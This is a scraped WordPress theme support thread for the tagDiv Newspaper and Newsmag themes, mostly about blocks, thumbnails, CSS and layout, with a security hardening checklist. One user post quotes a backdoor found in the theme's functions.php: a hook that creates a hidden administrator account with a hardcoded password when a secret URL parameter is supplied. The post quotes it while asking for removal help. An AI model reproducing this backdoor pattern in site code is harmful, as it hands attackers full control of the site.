Hello
I want to remove 3 unnecessary image sizes created by Newspaper theme in my site
These images sizes are
180×180, 300×300, 600×400
In Block Settings I do not see the above formats so who is liable to create these image sizes.
I wanna remove these sizes since these enlarge my website backup files also takes more hosting space
Please help me out..
1) make sure you’re using legal version of theme
2) do clean install of all wordpress folders via FTP, and clean installs of ALL plugins
3) delete old theme or plugin folders no longer used; they can still be exploited
4) make sure you’re running latest version of WordPress
5) scan site with securi scanner (free)
6) use plugins like “limit login attempts” to block IPs trying to guess passwords
7) disable all XMLRPC ability
8) make sure you’re using https for your site with forced SSL login
9) make sure you disable file editing ability for user levels in wp-config.php; disable automatic updates
10) reset all passwords for users, and ensure your superuser isn’t named “admin”
11) consider disabling all password reset functions
Make sure you do these steps

Two of them are like the pictures I attached below. We can’t figure out how to properly choose a block layout to accomplish those two different layouts. Please could you help us?

[ Version 7.5 ]
– new: author block – this block shows the author picture, socials and description. All in a nice and customizable design.
– new: image box block – this block is not just a simple image, it can be used to create banners, show featured categories with custom images or just to show some images. It’s auto adjusting and fully customizable.0
– fix: overlapping of Visual Composer and Newspaper tooltips while editing a page after the first install
– improvement: various core code refactoring and optimizations.
– improvement: better theme documentation and better help text in panel
– improvement: added used on for thumbnails in theme panel
– improvement: file path and names are now visible on each module, smart list, template etc on hover
– improvement: breadcrumbs markup, added BreadcrumbList schema
– improvement: in the System status panel, the theme now shows the license key used on the current install and we also have a button to remove the license from the install.
– fix: our blocks sometimes had issues auto adjusting the column count when placed in a inner row that is in a row
– fix: wrong recommended columns in Visual Composer, new users found it difficult to find out on what column layouts our blocks work best
– fix: drag and drop metabox flicker in wp-admin while editing a page

Was there an update or not on December 2nd?
I just found that I have to insert homepage post block from Visual Composer in the page, but how can I change de style?
I think this is style number 8 and I want number 7
How can I change the style of the homepage post block from Visual Composer?? I can´t find! Could you help me please?
Hi Bogdan B.
You are right, those strings are titles of blocks. I Changed them from here wp-admin/widgets.php and it is done.
Thank you very much.
Hi there, I was looking in your show case and found something amazing there and really want to know how to do this in my website. I am working in my new version and really want to use this on it.
I found this website:
http://www.circusbazaar.com/
I want to know how can I use this first “block”. Just the last post in the top, title and a short text using a paralax and a arrow in the end to push this down. And no borders or empty rooms (full screen). Could you help me?
Just to clarify. It is the section just bellow the menu.
Is it possible to turn off the counter comments when viewing blocks with list of articles?
For example on home page, for each preview post, the is a black counter with number of comments.
Thank you
Hello,
This will not be enough, sorry. I can only guess what you are saying without a link to your site or a screenshot. i guess you are using a wp categories element in your sidebar and only want to show a few categories? Ort are you using a block to show posts from these categories you mention? I can;t say for sure.
You will have to learn how to use visual composer and how to filter your blocks to show what categories you prefer. Please read this guide: https://forum.tagdiv.com/block-settings-guide/
Thank you!
Hello,
1. All of the menus are found in the wordpress menus area under appearance: http://screencast.com/t/yBdMSLtJtU
2. The pictures are posts from your site, not simple images. This is a block that is added over a row that has a background image set to it. It can be edited on the homepage using visual composer. You will have to learn how to edit pages in visual composer and then learn how to use the theme block and their settings in order to filter posts: https://forum.tagdiv.com/block-settings-guide/
3. You do not have to add a youtube viudeo to your server. You can embed a video into your posts or pages. It can be a featured video: https://forum.tagdiv.com/featured-image-or-video/, a standard embed (copy and paste the video url into your post content) or a video element in visual composer: http://screencast.com/t/z1dnNwPCD
Here are a few refference tips for a starting out with wordpress and themes.
1. You will have to learn how to use wordpress and how to create posts, categories, pages…etc. There are loits of online wordpress tutorilas that provide this info
2. Then you must start with the theme documentation and learn about the theme functionality and what it ads over the extra to the WP functionality: https://forum.tagdiv.com/newspaper-theme-documentation/
3. Learn how to use the visual composer plugin as you will need it to add or edit content on your pages.
Unfortunatly since we are not the plugin author we do not have specific plugin instructions to provide. You can try this link though: https://vc.wpbakery.com/video-academy/backend-editor-collapsible-row-feature-explained/
I hope this helps.
Thank you!
Hello F3rious,
Yes, if you want to do this, you should use the do_shortcode method and add it inside your post and if you want to have this ad inside to your all posts which are part of certain post template, you should edit the theme core file according to your post template used by you. The code is here -> <?php echo do_shortcode('[td_block_ad_box spot_id="custom_ad_1"]'); ?> If you want to add directly the code inside the post, you should do this -> http://screencast.com/t/infK2eNQlf8k Also, if you are using the post template style 1 you should edit the loop-single-1.php like this -> http://screencast.com/t/b8FBqZmb and there you should ad the code where you want to appear on the page.
Thanks for the message!
Hello,
Try this code instead:
.td_block_big_grid_7.main_listing h3.entry-title a{
font-size: 13px!important;
}
Add the code in the theme panel->custom css box
Thank you!
Hi!
My team and I would like to know if the TagDiv team is aware of or has already registered an occurrence of WP intrusion and malicious script insertion through the Newsmag theme.
And besides, we need help to solve this problem, because it occurred to us.
We detected in our WP blog a malicious script that executed the creation of a new user access level “administrator”.
Add_action ('wp_head', 'my_back');
Function my_back () {
If ($ _GET ['back'] == '2b4f6tx4') {
Require ('wp-includes / registration.php');
If (! Username_exists ('mr_admin')) {
$ User_id = wp_create_user ('guest', '2b4f6tx4');
$ User = new WP_User ($ user_id);
$ User-> set_role ('administrator');
}
}
}
This code has been inserted in wp-content/themes/Newsmag/functions.php.
There is no possibility of access not allowed via FTP. We already checked.
We found some mentions on the internet about this type of invasion using WordPress themes.
We have already removed the created user and are viewing the WP and theme files one by one to see if we find any more malicious scripts.
But we need help to block this kind of activity and avoid future problems.
Thank you very much!
Hello bidhi,
If you want to change the font size for your Trending Now feature, you should use a bit of CSS code and place it in Theme panel->Custom CSS area.
The code is ->
.td_block_trending_now .entry-title a {
font-size: 20px;
}
The result you should see here -> http://screencast.com/t/0AWPu7elr40I

Hello GuideMoba.Com,
Please ensure that you are using the latest version of the theme which come bundled with the theme packet and if you are using some untested plugins, please try to disable all of them and install only the plugins that come bundled with the theme and rule out any conflicting plugins. If you have some additional customization through the theme please try to disable all of them, revert the theme to the default state and check the results. Also, you should regenerate your thumbnails using the Force Regenerate Plugin and Force Regenerate plugin. For more information about this fix, you can consult our documentation here -> https://forum.tagdiv.com/thumbnails-fix-strange-looking-images-on-blocks/
Hope this helps and let us know how it goes!
Thanks for the message!
Hello,
It seems there is something affecting the thumbs and making a few of them 1×1 px. That is why you cannot see it. The thumb does not get used at all. You should make sure you have this thumb active in the theme panel: http://screencast.com/t/m60wiEhqTaVk and then use this guide to regenerate your thumbs: https://forum.tagdiv.com/thumbnails-fix-strange-looking-images-on-blocks/
Thank you!
Hello champagnemigraine,
Please keep in mind that each Big Grid and block is created from one or more modules, as you can see here -> http://screencast.com/t/6AcOjq2tMta So, if you want to change the functionality fo the Grid you should change the modules. Please notice that all of these you should do it yourself because we cannot provide custom work at the moment and if you are not aware of the steps in this regard, you should consider hiring a freelancer/developer to help you! A useful tutorial can be this -> https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/ because there you’ll learn how you can use the Inspector Browser.

Hello,
I have checked your site and it seems all your menu items are pages and you use the mobile theme. You did not add any content in the mobile theme editor so that is why nothing is shown. In your case as you only show pages with content blocks the mobile theme plugin is not recommended as it does not use visual composer and you will not be able to show visual composer blocks on mobile pages. Please read this guide: https://forum.tagdiv.com/the-mobile-theme/
Thank you!
first i need to use the block tutorial for my homepage :
Hello dexro57,
Try to make the following layout to your backend, like this -> http://screencast.com/t/v6JSmBRciY You should use 1/3+/1/3+1/3 from Visual Composer and then you should add 2 Block 7 and a sidebar for the third column and the result you should look like this -> http://screencast.com/t/hfyelt9W
Hope this helps!

Hello renzosm,
Unfortunately, our theme does not have been designed to have this type of pagination for Blocks, sorry! Noticed that the only available option for pagination style are here -> http://screencast.com/t/KLbcSij2mx If you want to have this type of pagination you should use the latest articles template as page template and there, you will see this pagination, like this -> http://screencast.com/t/E62E6zbXHyWY
Thanks for your understanding!
Hello,
I think you mention the block titles on the homepage. Those are not ‘fixed’ elements. You can access the page in visual composer and add or remove elements, or edit the existing ones using the block settings: https://forum.tagdiv.com/block-settings-guide/
Please load the translation from the theme panel and if an element is not translated it means it is not translatable meaning it has to be changed from another place. On pages usually it ca be changed from visual composer.
Thank you!
Hello dexro57,
Please notice that each of post must have a featured image…and then you should add the blocks on your homepage and the images will be displayed there. For more information about Featured image, please consult the documentation here -> https://forum.tagdiv.com/newsmag-featured-images/
If is not what you mean, please provide more details so I will be able to provide a more accurate response.
Thanks for the message!
